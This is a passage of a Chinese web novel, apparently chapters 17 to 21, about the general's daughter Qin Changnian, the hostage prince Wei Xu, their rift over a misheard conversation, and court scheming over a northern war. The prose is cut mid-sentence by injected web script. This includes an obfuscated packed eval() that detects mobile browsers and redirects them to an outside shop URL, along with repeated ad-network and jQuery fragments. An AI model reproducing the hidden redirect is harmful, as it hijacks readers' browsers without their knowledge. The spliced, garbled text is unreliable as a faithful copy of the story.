隗絮失笑,想起传闻中嚣张跋扈、不学无术的镇北将军府大小姐,再看了看眼前轻而易举就会脸红的纯情少女,完全联系不到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744611|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。他有意收住了脸上的表情,怕秦常念觉得袒露自己了心事,会不自在,清了清嗓子说道:“秦大将军和冯公子都在前厅等你呢,快去吧,莫要让他们等着急了。”说罢,还揉了揉秦常念的肩膀,帮她醒神。 秦常念方才如梦初醒,将注意力从隗絮的脸上移开,往前厅跑去,一边跑嘴里还一边嘀咕:“真是美色误人啊!差点忘了正事!” 秦常念来到前厅,看到冯吉和秦远已经泡好了一壶茶,笑盈盈地走上去行了个礼:“父亲早,冯公子早。” “常念早。”冯吉也笑着回看她。 秦远挥挥手让她坐下,将几只宝蓝色的碗碟推到她面前,嘴里却说着僵硬的话:“来了就快吃吧,平日里赖床也就算了,今日府上有客人,你怎么起得这么晚呢,让人笑话。” 秦常念定睛一看,大多是她爱吃的食物,还有她最爱的鸡蛋羹。她知道这是秦远道歉的方式,看着秦远嘟了嘟嘴:“知道啦父亲。” “无碍无碍,常念多睡会是应该的,事出有因嘛。”冯吉一副我都懂的样子,他装出来的正经模样都压不住他上扬的嘴角。 秦常念不知道他又来了什么劲,莫名其妙地白了他一眼,冯吉对上她的视线,对暗号一般地眨了一下眼睛。 “冯公子的眼睛是最近染疾了吗?睁不开的话,一定要及时看大夫啊。切莫因为你眼睛生的小,就忽视了,日后更加小,都叫人瞧不见了,该如何是好,哪家姑娘看得上你。”秦常念虽然不明所以,但冯吉笑得就一副有所阴谋的样子,让她觉得不能放过。 “哎不是,我……”冯吉也是个嘴上功夫好的,刚准备回嘴,却总是觉得有一道视线盯着自己,浑身不自在。他四下望了望,连只蚂蚁都没看见。正当他以为是自己宿醉,出现幻觉的时候,他在房梁上看到了一个人。 你敢相信吗,隆冬未尽,大雪遍地的房梁上,趴了一个人,还拿了个听翁,正伏罂而听;你敢相信吗,他如此大费周章窃听的机密是一场聊闲话的家宴;你更不敢相信的是,不计形象地趴到那的是堂堂北凉少主,从前金枝玉叶、翩翩公子。 隗絮见他看见了自己,恶狠狠地瞪他一眼,做了个抹脖子的动作,威胁他不准说。 冯吉转了转手里的茶杯,斜着嘴笑了一下,既然你这么大费周章地来听,那小爷我肯定是要让你听到一些内容的。 秦常念发觉他总看着一个地方,正觉得好奇,转身想看,被冯吉一把拉住。她觉得今日冯吉有些奇奇怪怪的,转回头来看着他。 “我堂堂镇北将军的副将,武艺卓绝、英姿勃勃,想要将女儿嫁给我的人家,那可是数不胜数。”冯吉一脸少年傲气。 秦常念无奈地摇了摇头,她已经习惯冯吉吹破天的牛了,一副我静静地看你表演的表情。 “若我没记错,从前秦大将军和家父,都给我们订过娃娃亲呢。”冯吉说完,抬眼得意地和房檐上的“刺客”对视,还挑了挑眉,暗暗想道,怎么样,听到了重磅消息,不枉你白埋伏这么久吧。 18. 暗斗 “这都什么陈芝麻烂谷子的事了,你还提。”秦常念一脸嫌弃地看了他一眼,舀了勺金蛋羹吃,又颇为豪迈地靠在椅背上,翘起了腿,“再说了,我敢嫁,你敢娶吗?” 这俩小孩从小这么打闹到大,是谁也不让谁。 秦远看着他们,没有制止,他透过他们看到年轻时的自己。人总是到年纪大了才明白一些事情,以前的追求很多,求名求利、求人求己,至而立之年,才发现最好的时光无非是无拘无束、身边有伴、无话不谈,而彼时,这些早已在你实现目标的道路上献祭。 冯吉瘫了瘫手:“那倒是,我真不敢,也不知道是谁吃了熊心豹子胆,敢娶你。” “娶也罢,不娶也罢,女子的价值从不在为人妇一事上。我可以做某位公子的妻子,但我的名字永远是秦常念,绝不将自己掩于夫人二字之下。”秦常念说得斩钉截铁的,她很确信自己会有一番作为,其所成之事不必流芳千古,也不是非得功名赫赫,守住一颗本心,护住一户人家,对秦常念来讲,都是她生命的意思所在。 冯吉和秦常念自小相识,他知道,秦常念虽被秦远照着名门闺秀的样式养,教她贤良淑德、体恤夫君,她却从来志不在此。 本非池中之物,岂会甘心被伦理纲常束缚? 冯吉的视线越过秦常念,想看看那位公子听了秦常念此等豪迈之语作何反应。他往房檐上一瞥,却不见人影,暗自道:该不会是被吓跑了吧?听到这就吓跑了也好。若是长久陪在身边,秦常念需要一个支持她,而不是指使她的人。若他不能接受,不如趁早离开,免得日后伤了秦常念的心。 隗絮怒气冲冲地走回房间,喘着气,喝了一大壶茶,都觉得难以压抑心中的怒火,偏偏他在府中待遇不错,所用的膳食都是和秦远、秦常念吃的一同准备的,也就是说,和冯吉吃的也一模一样。 隗絮一看到桌上的饼,就想到冯吉那得意的样子,扬了扬袖子,大吼了一声:“剪书,把这些都撤了!我今日没胃口!” “怎么了,是菜不好吃吗?要不要我去看看还有些别的什么?”剪书看到一口未动的饭菜,关切道。 隗絮没有应答,在一旁板着脸,指尖在桌子上一下一下地叩着。 “不是,公子,我说你这客居人家府里,就别那么不识好歹了,人家还以为你装腔作势呢。这早膳和秦将军和大小姐吃的是同一样式的,应该是很仔细的。”剪书见隗絮还是不说话,一副若有所思的样子,又加上一句,“那人家冯公子吃的也是一样的,人家也没说不好吃啊。” 听到这一句,隗絮可就彻底忍不了了:“闭嘴!他一个小白脸,他懂个屁!好什么好!我看他就是心术不正、口腹蜜剑!明日被他卖了去,她可就哭吧她!”说这话时,他将手里的茶盏捏得越来越紧,青筋突出。 剪书在一旁不明所以:“啊?冯公子还做拐卖人口的勾当啊?我就说大齐表面上是千里同风,内里也乌七八糟!” 隗絮觉得剪书实在是很聒噪,深吸一口气忍住将他整个丢出去的冲动,无奈地翻了个白眼,让他出去。又随便抄起一本书,试图借书平复心情。 书还没读两页呢,门外就传来窸窸窣窣的脚步声,步伐密且频,隗絮听着声音都能想象出秦常念一蹦一跳的样子。 她爱那些原始的、素净的东西,看到一块平坦光滑的新雪时,总是会两眼冒光,拉住隗絮,连声音都放轻柔道:“这块雪还没人踩过呢!” 虽然隗絮不懂为什么要压低声音说话,难道雪长了耳朵,会听到秦常念的密谋,然后逃之夭夭? 但是隗絮总是抬起眉毛,一脸发现了宝藏的欣喜表情,秦常念看到他的反应,就有一种找到知己的感觉:“是吧,你也喜欢踩雪?”这会声音又放大了,隗絮想,雪是又把耳朵关上了吗。 然后秦常念就会不由分说地拉着他的手,倒数“3、2、1”,往雪上一跃。 这个游戏隗絮陪秦常念玩过很多次,他见惯了雪,过去北凉王宫里的小孩这么玩,他将其归结为“人类的眼睛见不得完好东西”的劣根性,哪怕是一片完好无缺的雪,也非要上去破坏一下。 可在这里,他有了新的理解,他想,这是留住留住美好的方式。 立场不同,观点也就不同了。 “冯公子再会,下次再来府里玩啊!我们一起烤红薯吃!”秦常念清脆快乐的声音将隗絮拉回现实,他刚想走过去一起送客,就看到他们秦常念和冯吉笑得开怀,秦远拍了拍冯吉的肩膀,不知道嘱咐什么,让冯吉连连行礼,以示感谢。隗絮的眼底染上一层落寞,他迟疑了一下,终究是没出去,只把房间门默默掩上,隔绝门外的热闹。 他和秦常念,从一开始就是两个世界的人。 兵权是权力争夺的一大关键,因此边关的局势总是变幻万千。两个月后,有小道消息传出皇上有意与北凉一战,欲调镇北将军秦远为征北将军,主征伐。 雕龙髹金椅上,皇帝身披龙袍,庄严肃穆:“众爱卿意下如何。” 大臣们纷纷发言,持赞成意见,认为国力强盛,区区北凉,不在话下的有;持反对意见,相对保守,认为维持现下的平衡对大齐的发展更有利的也有;看出了皇帝想要推行征伐之策,投其所好、阿谀奉承以求平步青云的更有。 大臣们也许不知道皇上为什么忽然有这个想法了,但李欲很清楚。他看了一眼身旁的四皇子李权执,李权执也不甘示弱,侧过头来和他对视,目光相接,两人互探虚实。 李权执扬起一边嘴角,胜券在握地看了一眼李欲,就恭恭敬敬地向皇上行礼:“父皇英明,有一统四海的雄心,必会造福百姓、为后世传颂。我大齐为万乘之国,军备充沛,且多骁勇善战之士。儿臣以为,父皇之策实为上上策,理当遵循。今日见父皇雄姿,儿臣更觉自己愚笨,不及父皇万分之一,还请父皇原谅,儿臣想不出更好的法子,不能为父皇分忧。” 这马屁那是拍到了皇帝心里,既遂了他想北伐的心,又讲了如此多的漂亮话。皇上大喜,哈哈笑道:“好!瑞王不愧是朕的好儿子,年纪不大,分析局势竟如此透彻,日后多加勤勉,必能成大器!” “多谢父皇,儿臣谨遵父皇教 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 诲,向父皇学习。”李权执说完后,看着李欲轻蔑一笑。 李欲却无甚波澜,似乎他不在乎李权执选什么、说什么,他走上前去:“父皇。” “太子有何看法?”皇上看着他。 李权执却在心里对此嗤之以鼻。我知你不赞成此战,但现下我已取得陛下的信任,你若再横加阻拦,只怕陛下会觉得你有异心啊。是太子又如何,终究是臣,如何敢逆君命,你今日还能说不打北凉不成? “儿臣觉得父皇的计策颇好,而现下北凉少主隗絮就在镇北将军府里当质子,秦远手上也算是有可以制衡北凉贤王的筹码,或许还能从隗絮身上,探得一些关于北凉的消息。可谓是天时地利人和。” 出人意料地,李欲并没有以他一贯的“仁德、慈悲、宽厚”来劝皇上,反而是说时局有利,大臣们也纷纷猜测皇上和瑞王、太子之间,是否已经达成某种共识,想要实现他们的目的。 “好!那便就这么办,退朝。”皇上很满意,挥挥手宣布结束今日的议事。 李权执心里忿忿不平,原来李欲早就看出来他想干什么,还故意装作一副清高的样子,真是道貌岸然! 他挡住李欲的去路,李欲语气很平静:“瑞王还有何事?已经退朝了,有什么事,你递了折子,明日再议吧。” “李欲,你是故意的!”李权执咬牙切齿地说道。 “大胆!这还没出奉天殿,你就敢直呼我的名讳?”李欲眼底变得凶很,“在国,我是太子,是储君,你以下犯上,是为不敬;在私,我是长子,是兄长,你不遵悌道,是为无礼!李权执,你好大的胆子啊。” 李欲强大的气场让李权执感到压迫,但他不想输了气势,上前了一步:“太子殿下,你如此自信,该不会是以为你今日算计到我了,我该束手无策了吧?我们走着瞧。” 李欲呵地一笑,视线移向旁边,又很快移回李权执的眼睛,更坚决地和他对视,即便两人的距离已经很近,他的身子也不曾退后半分:“我何须算计瑞王殿下呢。”然后他将声音放小了些,靠近李权执的耳边,“瑞王殿下该不会以为,站得靠近我点,就离我太子的位置近了点吧?” 说话的声音不大,可明明说的是威胁的话语,却含了几分意味不明的笑意,让李权执觉得有些不寒而栗,一时间没说话。 李欲挑了一下眉,上下扫视了李权执一遍,转身离开了。 李权执在李欲这里受了气,一回到瑞王府,就将门口的花瓶砸在门上,把下人们吓了一跳,都屏住呼吸。权贵就是能压死人,更何况是流着天家血脉的尊贵皇子。他们生怕自己也如这花瓶一样,李权执一个不顺心,就将他们捏死。那对他来说,也是轻而易举的。 李权执看着碎了一地的花瓶残渣,眼神忽然亮了起来,他蹲下来,捡起一片碎片,捏在手里大笑:“哈哈哈哈坚硬的花瓶摆在桌上,难以敲碎;但若是把你扔到地上,我用不着吹灰之力,就能请人来帮你收尸了。” 他握得太紧,瓷片将他的手划破,殷红的色渗了出来,有几滴滴落在地板上,晕染开。 19. 亲密 过了元宵,天气渐渐暖和了起来。隗絮本以为两人的关系会回到从前,甚至更近一步。 起初的一个礼拜,秦常念仍然躲着他,见到他的时候也不主动搭话,隗絮还以为是她觉得那日醉酒,丢了面子,不好意思见人,便也随着她。只是常常手工雕刻些觉得她会喜欢的小玩意、照着书做些好吃的给她送过去。 “子秋,你说隗公子为什么总送东西给我?”秦常念又一次收到隗絮遣丫鬟送来的木雕的一把剑,拿在手上把玩。那剑只有半个手掌的大小,没有多精致的雕花,也没有多独特的外形,仔细看去,还可以见到许多修改时留下的印记,不难看出这手艺人也不甚熟练。 的确,隗絮在北凉的时候不曾做过这些工艺品,是这些日子不能教秦常念练剑,秦常念也被秦远严格禁止私下练习武艺,怕她会无聊,新学的。 “而且还做得这么丑。”秦常念不免有些嫌弃。 子秋在一旁沉思了一会,回答道:“也许是隗公子知道大小姐对于这些小玩意颇有研究,特来向大小姐请教的。” “是吗?”秦常念一听便来了精神,她在府里无聊的时候总喜欢凿木头玩,久而久之,倒也玩出了点心得,“没想到我都这么出名啦?连隗公子也要来向我请教。” 她仔细一想,子秋说的确实有道理。木剑的做工一看就是新学的,隗絮的技术显然不如她。他也常送些零嘴过来,想必是不好意思白要她教,给的报酬吧。 “真可谓是天道好轮回啊。”秦常念拿着那把小木剑在手掌上转了一圈,盯着它笑了,“也有我做你老师的一天。” 于是秦常念拿了锉刀、尖尾刀,将那剑的细节做了修改。将剑柄修得细长些,剑锋修得凌厉些。赶工了三个晚上,好不容易改好了。秦常念双手张开,靠在椅子上伸了一个大大的懒腰。 她倒也不是多么勤奋刻苦,毕竟这些词与她都沾不上边;也不是对雕刻艺术有多么惊人的热情,毕竟她能坚持一直喜欢的事情只有美食和武功。 她赶着做完的原因很简单,其一,想在隗絮面前好好炫耀一番,耍耍威风,只用三天便能做到如此程度,他一定惊讶地嘴巴都合不拢。其二,自己当了他那么久的学生,被他管、被他折磨,现在有翻身的机会了,秦常念光是想想就觉得很爽,简直是一刻也忍不了,迫不及待就要行使这一份权利。 秦常念裹了个披风就往隗絮的房间跑去,亥时,隗絮的房门被扣响。 隗絮来得有些慢,秦常念差点都要在门口大叫他的名字。 “何事?”未见其人,先闻其声,隗絮一边开门,一边问道。声音沙哑且带着些懒意,应当是已经睡下了。 他一开门,看见秦常念站在门口,惊讶地连瞌睡都不见了:“是你?” “不能是我吗?”秦常念朝他调皮地一笑。 她周身在月晕下散发出暖黄色的光,让隗絮觉得很温暖,呆在了原地。他不禁在想,若是揽住了她,也算是抱到了月亮吧。 “还没睡醒吗?干嘛发呆,先让我进去吧。”秦常念用手在他面前晃了晃。 隗絮这才回过神来,借着月色,他注意到秦常念穿得单薄,赶紧撑着门,让到一旁,要秦常念进屋。 秦常念一进屋,把披风脱下来,单手递给隗絮,然后以一个自认为很霸气的姿势坐在椅子上。 隗絮将披风挂好,走过来。就看见秦常念轻描淡写地将那把木剑拿出来:“喏,给你的。” 隗絮接过那把木剑,尺寸比例变得更协调,上面的花纹也变得更精致,细节处的一些镂空刚好盖住了他先前反复修改留下的痕迹,一看就花了很多心思去设计、修改。隗絮抬起头,惊讶地看着秦常念。 在他不可思议的目光中,秦常念的骄傲得到了极大的满足,她看着隗絮一笑,点了点头,然后端起茶杯抿了一口茶,又顿了顿,故作云淡风轻地说道:“没错,就是你想的那样。这木剑我已经做了修改,你留着吧。” 隗絮更惊讶了,连眼睛都瞪大了看着秦常念。 这下被我装到了吧,秦常念如是想。她毫不犹豫地起身,拿下来刚挂好的披风,头也不回地就要走。 事了拂袖去,只留给别人一个潇洒的背影。秦常念几乎控制不住自己激动的心情,要高兴地喊出来了,我实在太酷了!你就仰慕本大小姐去吧!秦常念默默握了个拳庆祝。 隗絮将那把木剑握在手里,他似乎能透过这把剑,感受到秦常念手掌的温度,能想象到她点着灯,认认真真雕刻的样子。碰到疑难的地方,也许还会嘟起嘴,自言自语。 隗絮觉得倍受触动,一把初学练习打的剑,她竟如此上心。于是他出声叫住秦常念:“阿念!” 秦常念闻声回头,等他说话。 “这是你我一起做的第一把剑,我定会好好珍藏。” 秦常念笑了,使劲地点了点头。这一刻,她的心里是充盈的,好满足。 夜色静谧,漠北更是连蝉鸣虫叫都听不见。秦常念竟然在此刻清晰地听到了自己加速的心跳声,她抬手抚上胸口。一定是近来熬夜赶工太疲惫了,心跳都有些奇怪,下回得让大夫配些调理的药来。秦常念如是想。 那一夜,隗絮躺在床上,将木剑拿在手上翻来覆去地看,一会抱在怀里,一会举起来对着烛光仔细看,心情久久不能平息。最后,他视若珍宝地将那把剑放在枕头底下,挂着笑容入睡。 两人后来就时常约着一起做木雕、做糕点,只不过秦常念在厨艺方面是真的没什么天赋,也不太有兴趣,大多数时候,她都是靠在一旁,或是揪一坨面去玩,或是偷吃一点隗絮调好的馅料。 等到隗絮真的意识到不对的时候,是冯吉又一次来府里做客的时候。 边关局势平息了一阵子,将士们也获得了短暂的休假可以养精蓄锐。秦常念一听到这个消息,赶紧就派人去邀请冯吉来府上做客。 冯吉来的时候,带了一盆曼陀罗花,长得叶绿茎粗,虽然还未开花,但呈现出的茁壮之势,在漠北也是会引人驻足。 “哇冯吉,可以啊!你从何处寻来的这么好看的草?”秦常念是个喜欢新鲜东西的,一见到就爱不释手,开始在院子里找地方放,“你说放哪好呢?” “这不是草,是花。”冯吉解释道,“而且这原是生长在南方的花,名为曼陀罗。我一个朋友精通花卉种植,我求他给我的。” “生长在南方?那岂不是很怕冷,会不会在漠北冻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 坏了啊?”秦常念赶紧将那盆花抱到怀里,生怕它蔫了。 “辟一间温室养着就行,此花除了喜温暖,对土壤、水分的要求都不高。若是将军府里不方便,放在我府中养也行,你随时可以去看。” 冯吉话音刚落,隗絮就不知道从哪冒出来了:“那就不必了。这诺大的镇北将军府,还怕找不出一间暖房来种花?阿念,这花我可以帮你种。” 秦常念想了一下,点点头:“嗯,也好。这样比较方便点,就用东边那间杂物间吧,空着也是空着。”又喊了几个下人来,“你们几个去帮隗公子的忙,辟一间暖房出来养花。” 隗絮带着下人们,端着花准备离开,瞟了一眼冯吉,他正笑得灿烂。 笑什么笑,这花你还真想养到你府里去不成?隗絮腹谤道。 见隗絮走远,冯吉一脸打趣地看着秦常念:“他倒是懂你。”又很夸张地掐起嗓子模仿隗絮说话,“阿~念~” 肉麻得秦常念一个拳头就锤在他身上,痛得他大叫。 “不是我说,你干嘛打人?我只是还原一下刚刚发生的事情,噢,他说你就不打他,我说同样的话你就要打我?我简直太冤枉了!你是不是偏心,花就要他帮你种,怎么,我种得就会死,他种得就会开花咯?”冯吉揉着自己被打痛的胳膊,开着玩笑。 秦常念赶忙解释道:“不是,是我怕父亲哪天又紧我的足,我不就没法去你那里看花了嘛,还是养在自己府里方便点。” “噢~你最好只是为了方便。”冯吉故意用阴阳怪气的语气,拖长了尾音。差点招的秦常念又来打他。 冯吉在府中待了四天,日日也跟着秦常念和隗絮一起做木雕,只不过他对这类手工活没多大兴趣,而且秦常念和隗絮两个人讨论得有来有回,一起雕同一块木头,倒显得他有些多余。一块那么小的木头,还需要两个人雕,挤都挤死了。冯吉坐在一旁,边转木头边想道。 他走的那一日,秦常念送他到门口,左顾右盼也不见隗絮来:“隗絮是有什么事耽误了吗,还是忘了你今日走,要不要喊他一下,与你告个别?” 冯吉笑着摇了摇头:“他怕是不太情愿送我的。” 秦常念歪着头,正对他话中的意思不解,冯吉又实在按耐不住自己八卦的心,好奇地问道:“之前一直都没机会问,你和隗絮两个人进展到哪一步了?” “啊?”秦常念更加困惑了。 “难道你喜欢的是那种风花雪月式的感情,整天一起锯木头就够了?”冯吉见她迷茫的样子,大胆推测,“不过随你们开心就好,毕竟两情相悦,可是世间最难寻之物。你这么快就寻到了,也算是老天垂怜、幸事一桩了。” 秦常念听得脑袋都顿住了:“等一下等一下!”她仔细理了理冯吉话中的意思,掐了一下冯吉的胳膊。 冯吉立马弹开:“你这老喜欢动手动脚是怎么回事。” “你误会啦,我跟他只是普通的师徒关系,顶多算是我在府中无聊、一起作伴的朋友,我们之间并无男女之情。”秦常念认认真真地解释道。 走廊侧方,端着一碗刚熬好的豆粥,准备送过来给秦常念尝的隗絮,手臂一抖,整个碗都落在地上,发出清脆的咔嚓声。 20. 变故 “啊?”这下轮到冯吉吓了一跳。 “真的,你误会了。他说他对我只是对学生、对大小姐的关心,我对他……”秦常念顿了一下,很快又接着说道,“我对他,现在亦只是朋友之心,并无其他。” 冯吉在脑袋里飞快地过了一遍两人相处的日常,无论是做木雕时靠在一起的头,还是吃饭时随便一个话题都能聊得开怀,亦或是什么都不干,看着彼此的眼神,都不像是这种普通的关系。他疑惑地说道:“可是……你们两个那么亲近,不像是……” 话还没说完,就被秦常念打断了:“你也说了,我们俩是亲近,不是亲密。只不过他在这里当质子,无所事事,讨好我也能让他的生活过得舒坦些;我是被父亲严格教育的镇北将军府大小姐,生活平淡,他的到来正好带来了新鲜。我们都有各自的烦恼,不过各取所需罢了。” 听到这里,隗絮的眼眶整个红了,他觉得自己这些天的信念都崩塌了。失望、悲痛、震惊、无奈,复杂的感情交织在一起,形成名为“感情”的海浪将他吞没。 “许多人都会混淆习惯和喜欢,有时候互相依偎在一起确实可以取暖,可那只是冬天里为了生存的手段,那不是喜欢。我分得很清楚,我对他的确有感情,可那份感情是依赖。”秦常念用平淡的语气娓娓道来,她的叙述中没有掺杂太多的感情,似乎在讲述一件别人的事,冷静到近乎冷漠。 可那么平静的语气,却将隗絮钉在了那里,他觉得自己浑身的血液都凝固了,动弹不得。腿不受控制地后退了几步,他不得不抬手撑住墙面,才能勉强维持站姿。 你对我,从来都没有喜欢吗? 那日之后,隗絮忽然就不再来和秦常念一起做木雕了,秦常念还特意去找过他好几次,他不是称病闭门不见,就是躺在床上装睡。弄得秦常念也没有法子。 秦常念甚至不解,她觉得人不可能在一夜之间转性,就算是没兴趣了,也该有个过程,不可能前一日还在一起兴致勃勃地讨论新的雕花方式,后一日就厌烦到不想再看一眼。不知怎的,她对隗絮不来雕刻这件事情异常介怀,原本一拿起锉刀就能心无旁骛、好像进入另一个世界,现在却连着好几天因为隗絮的事情无法集中,她总是控制不住地去想,他为什么不来了。 这日,秦常念终于在隗絮用膳之前堵住了他,单刀直入,切入话题:“你为什么不来雕刻了?” 隗絮没说话,只是凝视着秦常念的脸。他面无表情,沉稳得像是大海的深处,虽然看起来让人觉得平静,内里却有数不清的波涛汹涌。 秦常念盯着他看了一会,觉得他哪里变了一些,不仅嘴唇有些苍白,连眼睛也有些红肿,她微微皱了皱眉:“你的脸色不太好,是生病了所以没来吗?若是身体不舒服便不必勉强,找大夫看过吗?大夫怎么说?” 她的问题一串接着一串,可隗絮今日的耐心好像很有限,他甚至不想听完秦常念的问题,很快开口打断:“没有。” “啊?是已经好了吗?”秦常念仍然追问道。 隗絮长叹一声,很无奈地看向秦常念:“我根本就没生病,那些都不过是用来搪塞大小姐的借口,大小姐看不出来吗?” 这些天被他“阿念,阿念”的叫习惯了,听到“大小姐”这个称呼,秦常念还一时有些不习惯,但她来不及深究,就匆忙问道:“那是为什么,你不来了,是没兴趣了吗?” “对,我就是没兴趣了。”隗絮一副漠然置之的样子,轻飘飘地扔下一句。 “为什么?怎么会突然就不喜欢了,明明之前还好好的呀。”秦常念觉得他的话很没逻辑。 “不是突然不喜欢,是之前就不喜欢。”隗絮的声音提高了些,语气更加冷冽。 他忽然像变了一个人似的,还变得这么不近人情,秦常念觉得又困惑,又委屈,也提高了声音喊回去:“哪有你这样的!若是真的不喜欢,从最开始就不要开始啊!既然选择开始了,我不管你是因为什么理由决定开始,都应该要有始有终不是吗!起码你应该告诉我一声啊,一声不吭就把人抛到一边,世上哪有这样的道理!” “什么道理?难道非得遵守你的道理吗!这根本不是我想做的事,甚至与我先前的目标南辕北辙。我既然有权利选择开始,我就要权利要求结束!你凭什么逼我!”隗絮终于忍不住了,怒火喷涌而出,他几乎是咆哮着说完这些话,脖子上的青筋暴起。 秦常念被他这凶狠的面孔吓到了,怔了一会,更加委屈了:“结束就结束!我又没有强求你怎样!只不过是好心过来看你,怕你是真的生病了或者因为什么事情生气了。好心都被你当作驴肝肺!我再也不要理你了!” 秦常念觉得自己的眼泪不受控制,几乎要夺眶而出,立刻转身,跑回了房间。 隗絮注视着她离开的背影,情绪翻涌得更加厉害,胸膛上下起伏着。他觉得自己就像坐了一艘遇上了海啸,注定要沉的小船,却还是忍不住为大海担忧的渺小的人。 秦常念气极了,一回到房间就将桌子掀了,将所有的木雕以及工具都扔到地上,大吼着发泄,歇斯底里:“你算是个什么东西!亏得我还为你操心,教你手艺,你说来就来,说走就走!你给我滚蛋!” 一滴什么滚烫的东西落到她手背上,秦常念抬手擦了擦眼睛,惊觉自己已经泪流满面了。 我这是怎么回事,明明不是悲伤的事,我怎么哭了。秦常念将眼泪抹干净,找了个位置坐下,平复了一下心情。 她叫来丫鬟帮自己重新更衣、梳妆,打扮的漂漂亮亮。看着铜镜里的自己鲜眉亮眼,秦常念摸了摸自己的脸庞,对着镜子扯出了一个笑容:“这才对嘛,秦常念,开开心心、漂漂亮亮的。” 隗絮则回到房间,秉退了所有下人,吩咐不要将饭菜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 送来后,就重重地关上了门。他颓然地坐在床边,为自己说过的每一句话感到后悔,都怪他,口不择言,惹得秦常念不高兴了。 可若是时光倒流,回到半个时辰前,他又为自己觉得委屈。自己做了那么多努力,以为能换来秦常念的欢心,他甚至不求秦常念对他有多么深刻的、仅他一人的偏爱,他想,只要她对他有一点点动心就好了,就一点点,那样他便有了继续努力的动力。 他期待秦常念的反馈就如久旱之人在沙漠里期待水源一般,可沙漠哪有那么多水源,大多都是海市蜃楼、水月镜花。 她和冯吉说,他们不过是各取所需罢了。 秦常念,你若是真这么想,为何不早些亲自告诉我,你知道的,我不会怪你。何必要佯装欢喜,又趁他不在的时候找冯吉大吐苦水。 想着想着,隗絮的眼泪又掉了下来,起初是一滴一滴地滴落在地板上,而后变成一串一串,他怎么擦也擦不完,最后,索性放弃,坐在床下,抱着膝盖大哭了起来。 剪书时不时地来看他,却从来不被允许进他的门,那门口的饭菜是换了又换,房门仍然紧闭着,让人担心里面的人是否还活着。 当然还活着,隗絮倚在床角,眼睛紧紧盯着手上拿着的那把木剑,然后双手一弯,朝两端用力地掰着,可那木剑似乎也存心为难他,无论怎么掰、拧、拉,连一点变形的皮外伤都没有。隗絮扬起头,看向房顶,长叹一口气,颤抖着手将木剑放下,忽地笑了。 “连你都有自己的想法,不能被人左右吗。”隗絮的声音沙哑而虚弱,“和打造你的人一模一样。” 木剑以为他健忘,提醒道:“打造我的人有两个,你指的是哪一个?” 可惜隗絮当然听不见木剑说的话,只是摩挲着它,没有回答。 若是两人中有一个没那么倔,也许都不会走到这一步。 可是若两人中有一个人不倔强、不要强,他们从最开始就不会走到同一条路上去。 命运弄人,他们因为这种理智上的相似而彼此吸引、靠近,也因这种相似产生嫌隙、分离。 这便是所谓的祸福相依、爱恨同源。 眼看着初春就快要到了,漠北没先等来南飞的燕子、抽芽的榆树,而是先等来了来自皇城的命令。 “奉天承运,皇帝昭曰:因镇北大将军秦远英勇善战、谋略过人,现征调为征北大将军。为制衡北凉,北凉少主隗絮仍押于将军府内。需严加看管,勿生事端。钦此”太监将贴金轴展开,掐起嗓子宣读。 “微臣接旨,吾皇万岁万岁万万岁。”秦远叩谢后,低着头双手接过圣旨。他的表情很严肃,让人看不出他的情绪。 隗絮在最后一排,他双手置于手背上,跪在地上。出于好奇地微微侧过头,用余光望向秦远,顶天立地的将军不是一个人,他身后跪伏着的是整个镇北将军府。 21. 许愿 和面上运筹帷幄的淡定不同,从接到圣旨的那一天开始,秦远就变得焦躁了起来。 他的房间里总是亮着灯,彻夜不息。倒茶的声音过后,就是延绵不绝的叹息。一向严肃冷酷的他,近来总是去隗絮的房间门口,背着手徘徊。有时隗絮恰好打开房门,和秦远对视,秦远也总是一副欲言又止的样子,八字胡须随着他嘴唇的张合而抖动,就像槐树受到北风的威胁,带着覆在他枝桠上面的残雪颤动。 如今的情境,聪明人一眼便知谁是槐树、谁是北风、谁是残雪。 隗絮又何尝不知呢?秦远名义上是得到了皇上的认可,被征调,实际上是为皇权所忌惮。 他们怕秦远拥兵自重、狼子野心,又居于漠北多年,与手下的将士们情谊深厚。若是真的反了,镇压恐怕会废很大的力气。调他为征北将军,一来战场残酷无情,尸山血海、干戈满目,秦远回不来,也是情理之中;若是真赢了北凉之战,便也为大齐处理了一个心腹大患。至于秦远,日后欲加之罪,何患无辞。 帝王的算计,自然是精明、不肯吃半点亏的。 隗絮拿着木剑在手中细细地看,听到一阵活泼的脚步声由远及近,他知道是秦常念在府中四处游逛,不禁担忧道:那她呢,若是秦远真的回不来,秦常念怎么办。她的母亲早逝,至亲只剩下父亲一人。若秦远都不在了,她在这世上就真的是孤苦伶仃一个人了,她该有多伤心。况且作为将门独女,秦远之事难免牵连她,她性子单纯、为人简单,日后的路,她又该怎么走。 隗絮将那把木剑翻过来,看到背面秦常念亲手刻上的自己的名字,用手仔细地抚摸着,眼里是一片深沉:秦常念,无论如何,我会护你的。你会和你父亲一起,开开心心、自由自在地过一辈子。 “公子,你说秦将军会拿你怎么样?”剪书担忧的语气将隗絮拉回现实,他着急地扣着手,“若是战局对大齐不利,你说,秦将军他……” “他什么?”隗絮将木剑放下,看着剪书,抬起头示意他接着往下说。 “他会不会,杀了你啊?”剪书靠近隗絮一步,用手遮住嘴,放低了声音,在他的耳边说道。 隗絮愣了一下,他听到消息以后,满心满意都是为秦常念忧心,想方设法为她寻一个两全之计,竟从来没想过自己。 秦常念的脚步声越来越近,最后竟然停在了隗絮的房间门口,她很明显犹豫了一下,但最终是敲响了隗絮的房门。 “隗公子,在吗?” 